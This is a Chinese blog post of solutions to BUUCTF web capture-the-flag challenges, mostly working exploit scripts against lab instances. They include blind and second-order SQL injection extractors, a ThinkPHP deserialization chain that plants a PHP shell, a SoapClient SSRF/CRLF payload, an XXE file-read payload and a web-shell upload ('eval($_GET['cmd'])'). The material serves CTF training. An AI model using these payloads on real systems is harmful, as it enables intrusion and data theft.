Buuctf之Web(四)

原创

Yn8rt 于 2021-11-22 09:06:51 发布 155 收藏

分类专栏： buuctf 文章标签： mvc php thinkphp

本文链接：https://blog.csdn.net/qq_50589021/article/details/121464541

[HFCTF2020]JustEscape

WP

vm2沙盒逃逸

涉及到nodejs不会

[网鼎杯2018]Unfinish

脚本

```python
# -*- coding: utf-8 -*-
# @Author  : Yn8rt
# @Time    : 2021/9/10 14:38
#coding:utf-8
import requests
from bs4 import BeautifulSoup
import time

url = 'http://f8933a3b-5f22-4bde-bde9-7a49c4b1f0a4.node4.buuoj.cn:81/'

m = ''
for i in range(100):
    payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)
    register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
    login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}
    req = requests.session()
    r1 = req.post(url+'register.php',data = register)
    r2 = req.post(url+'login.php', data = login)
    r3 = req.post(url+'index.php')
    html = r3.text
    soup = BeautifulSoup(html,'html.parser')
    UserName = soup.span.string.strip()
    if int(UserName) == 0:
        break
    m += chr(int(UserName))
    print(m)
    time.sleep(1)
```

[MRCTF2020]Ezaudit

考点是mt_rand的种子，伪随机，和之前的一个伪随机题目做法一模一样

总结：

先计算种子：

```
# -*- coding: utf-8 -*-
# @Author  : Yn8rt
# @Time    : 2021/9/10 14:38

# 这是利用公钥爆破私钥第一步计算种子
str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2='KVQP0LdJKRaV3n9D'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)
```

配合php_mt_seed来将种子爆破出来

再计算私钥：

```
<?php
//这是利用公钥爆破私钥第二步，知道种子了爆破私钥
mt_srand(1775196155);
//公钥
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
}
//私钥
function private_key($length = 12) {

 $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
 $private_key = '';
 for ( $i = 0; $i < $length; $i++ )
 $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
 return $private_key;
}
echo "这是公钥: ".public_key()."</br>";
echo "这是私钥: ".private_key()."</br>";
?>
```

[强网杯 2019]Upload

一条链子，简单看了一下网上的wp感觉少点

首先：

找到这个文件上传检测，或者与这个文件上传有关的点也就是Profile这个子类，以及还会认为这是反序列化的题目是在这里：

```php
<?php
namespace app\web\controller;

use think\Controller;

class Profile extends Controller
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __construct()
    {
        $this->checker=new Index();
        $this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
        @chdir("../public/upload");
        if(!is_dir($this->upload_menu)){
            @mkdir($this->upload_menu);
        }
        @chdir($this->upload_menu);
    }

    public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT
                $this->redirect($curr_url,302);
                exit();
            }
```

跟踪这个函数：

```php
public function login_check(){
        $profile=cookie('user');
        if(!empty($profile)){
            $this->profile=unserialize(base64_decode($profile));
            $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
            if(array_diff($this->profile_db,$this->profile)==null){//比较两个数组的值，并返回差集,也就是要求登陆信息要
保证一致，感觉这里不是问题，只是检查登陆信息而已
                return 1;
            }else{
                return 0;
            }
        }
    }
```

同时在此php文件中可以利用construct来给其赋值为0直接不经过此if的判断

他会把你cookie中的user的值先base64解码然后反序列化，其中导致出现漏洞的代码是

```
if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }
```

这是他的文件上传的特色，是将文件重名名，导致后期我们可以将jpg文件改为php文件

那么下面就是如何调用这个upload_img这个函数了，在本页的末尾有两个魔术方法：

```
public function __get($name)//在调用没有权限的属性或者不存的属性时会被触发
    {
        return $this->except[$name];
    }

public function __call($name, $arguments)//在条用不存在的方法时将会被触发
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }
```

有这两个方法的存在那么调用本页的函数就不成问题，再继续寻找能触发该页面的call方法的方法，需要在同一个命名空间里面，所以很快就找到了：

```
public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }
```

exp：

```php
<?php
namespace app\web\controller;
use think\Controller;
class Profile{
    public $checker = 0;
    public $filename_tmp = '../public/upload/fb7714fd023d486ddc9939267763bc21/a4a2c22c85451e94294fac2ec87c48c2.p
ng';
    public $filename = '../public/upload/fb7714fd023d486ddc9939267763bc21/yn8rt.php';
    public $ext = 1;
    public $except = array('index' => 'upload_img');
}
class Register{
    public $checker;
    public $registed;
    public function __construct()
    {
        $this->checker=new Profile();
    }
}
$o = new Register();
echo base64_encode(serialize($o))
?>
```

[GYCTF2020]Easyphp

https://johnfrod.top/ctf/gyctf2020easyphp/

[GXYCTF2019]StrongestMind

```python
# -*- coding: utf-8 -*-
# @Author  : Yn8rt
# @Time    : 2021/9/10 14:38
from requests import *
import re
import time

s = session()
a = s.get("http://f7ec9408-bbeb-4a20-9e38-e4d90de04744.node4.buuoj.cn:81/")
pattern = re.findall(r'\d+.[+-].\d+', a.text)
c = eval(pattern[0])
a = s.post("http://f7ec9408-bbeb-4a20-9e38-e4d90de04744.node4.buuoj.cn:81/index.php", data = {"answer" : c})
for i in range(1005):
    try:
        pattern = re.findall(r'\d+.[+-].\d+', a.text)
        c = eval(pattern[0])
        print(c)
        a = s.post("http://f7ec9408-bbeb-4a20-9e38-e4d90de04744.node4.buuoj.cn:81/index.php", data = {"answer" :
 c})
        time.sleep(0.5)
        print(i)
    except:
        pass
print(a.text)
```

[SCTF2019]Flag Shop

https://www.freesion.com/article/9299639089/

[SUCTF 2018]GetShell

利用取反写木马来实现绕过

WP

bestphp's revenge

利用soapclient来实现ssrf

```
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "yn8rt\r\nCookie: PHPSESSID=l6ne21akbgdv48jff5h53go5i6\r\n",
    'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
?>
    ?name=|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs
%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A53%3A%22yn8rt%0D%0ACookie%3A+
PHPSESSID%3Dl6ne21akbgdv48jff5h53go5i6%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D&f=session_start
 serialize_handler=php_serialize
    ?f=extract
    b=call_user_func
```

[b01lers2020]Life on Mars

没看明白

[安洵杯 2019]不是文件上传

strrchr() 函数：查找字符串在另一个字符串中最后一次出现的位置，并返回从该位置到字符串结尾的所有字符。

WP

[ISITDTU 2019]EasyPHP

WP

利用异或再异或绕过字符数限制

[GYCTF2020]Ez_Express

学习*JavaScript*这一篇就够了

JS原型链污染初探

具体参考p师傅的文章
初探JavaScript原型链污染

WP1

原型链污染

[RoarCTF 2019]Online Proxy

x-forwarded-for注入

二次注入

盲注

WP

[CSAWQual 2019]Web_Unagi

xxe的绕过

```
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
</users>
```

[HarekazeCTF2019]Avatar Uploader 1

WP

[GKCTF 2021]easycms

任意文件下载漏洞

WP

[BSidesCF 2019]SVGMagic

xxe漏洞

WP

[EIS 2019]EzPOP

WP

[N1CTF 2018]eating_cms

WP

[SWPU2019]Web4

WP

[FireshellCTF2020]Caas

WP

[极客大挑战 2020]Roamphp1-Welcome

WP

[GXYCTF2019]BabysqliV3.0

```php
<?php
error_reporting(0);
class Uploader{
 public $Filename;
 public $cmd;
 public $token;


 function __construct(){//构造函数
  $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
  $ext = ".txt";
  @mkdir($sandbox, 0777, true);
  if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){//如果设置了name同时防止伪协议
   $this->Filename = $_GET['name'];//可以控制
  }
  else{
   $this->Filename = $sandbox.$_SESSION['user'].$ext;//否则名字与session有关
  }

  $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
  $this->token = $_SESSION['user'];
 }

 function upload($file){
  global $sandbox;
  global $ext;

  if(preg_match("[^a-z0-9]", $this->Filename)){    //不以数字和字母开头
   $this->cmd = "die('illegal filename!');";
  }
  else{
   if($file['size'] > 1024){ //大小不可超过1m
    $this->cmd = "die('you are too big (â€²â–½`ã€ƒ)');";
   }
   else{
    $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";   //上传
   }
  }
 }

 function __toString(){
  global $sandbox;
  global $ext;
  // return $sandbox.$this->Filename.$ext;
  return $this->Filename;
 }

 function __destruct(){
  if($this->token != $_SESSION['user']){
   $this->cmd = "die('check token falied!');";
  }
  eval($this->cmd);
 }
}

if(isset($_FILES['file'])) {
 $uploader = new Uploader();
 $uploader->upload($_FILES["file"]);
 if(@file_get_contents($uploader)){
```

```
 if(@file_get_contents($uploader)){
  echo "ä‚‹é ¢æ˜¯ä½ ä‚Šä¼ çš„æ–‡ä»¶ï¼š<br>".$uploader."<br>";
  echo file_get_contents($uploader);
 }
}

?>
```

[Black Watch 入群题]Web

异或脚本

```python
# -*- coding: utf-8 -*-
# @Author  : Yn8rt
# @Time    : 2021/9/10 14:38
import requests

flag=''
#查库名
payload1 = '1^(ascii(substr((select(database())),{},1))>{})^1'    #库名为news

#查表名
payload2 = '1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\
'news\')),{},1))>{})^1' #表名为admin,contents

#查字段
payload3 = '1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=\
'contents\')),{},1))>{})^1'   #admin表里有id,username,password,is_enable

                              # contents表里有id,title,content,is_enable

#查字段值
payload4 = '1^(ascii(substr((select(group_concat(username))from(admin)),{},1))>{})^1'



for i in range(1,100):
    low =28
    high =137
    mid = (low + high) // 2

    while(low < high):
        url = 'http://1f8818ec-5797-4bee-b46f-9ec71dac112a.node4.buuoj.cn:81/backend/content_detail.php?id='
        payload = payload4.format(i,mid)
        url+=payload
        # print(url)
        r = requests.get(url)
        text = str(r.json())

        if "机师傅缺个女朋友" in text:
            low = mid + 1
        else:
            high = mid

        mid = (low + high) // 2

    if(chr(mid)==''):
        break
    flag +=chr(mid)
    print(flag)

print(flag)
```

[SUCTF 2018]MultiSQL

WP

十进制绕过过滤写马

[RoarCTF 2019]Simple Upload

```
# -*- coding: utf-8 -*-
# @Author  : Yn8rt
# @Time    : 2021/9/10 14:38
import requests
# url = 'http://f98099c2-262f-472c-8002-393f7a2b62fd.node4.buuoj.cn:81/index.php/Home/index/upload'
# file1 = {'file':open('1.txt','r')}
# file2 = {'file[]':open('php.php','r')}
# file3 = {'file':open('1.txt','r')}
# r=requests.post(url,files=file1)
# print(r.text)
# r=requests.post(url,files=file2)
# print(r.text)
# r=requests.post(url,files=file3)
# print(r.text)
# dir='abcdefghijklmnopqrstuvwxyz0123456789'
# for i in dir:
#     for j in dir:
#         for x in dir:
#             for y in dir:
#                 for z in dir:
#                     url='http://f98099c2-262f-472c-8002-393f7a2b62fd.node4.buuoj.cn:81/Public/Uploads/2021-11-18/61961de{}{}{}{}{}.txt'.format(i,j,x,y,z)
#                     r = requests.get(url)
#                     print(url)
#                     if r.status_code== 200:
#                         print(url)
#                         break
'''方法二'''
url = "http://f98099c2-262f-472c-8002-393f7a2b62fd.node4.buuoj.cn:81/index.php/home/index/upload/"
s = requests.Session()
files = {"file": ("shell.<>php", "<?php eval($_GET['cmd'])?>")}
r = requests.post(url, files=files)
print(r.text)
```

[CISCN2019 华东南赛区]Web4

wp

flask-session-manager使用

[SUCTF 2018]annonymous

wp

```
# -*- coding: utf-8 -*-
# @Author  : Yn8rt
# @Time    : 2021/9/10 14:38
import requests
for i in range(100):
    url = "http://4b101e75-e297-4884-98f3-52bd2aa1e4d9.node4.buuoj.cn:81/?func_name=%00lambda_{}".format(i)
    res = requests.get(url)
    if "flag" in res.text:
        print(res.text)
        break
    else:
        print('loading....')
```

[GoogleCTF2019 Quals]Bnv

WP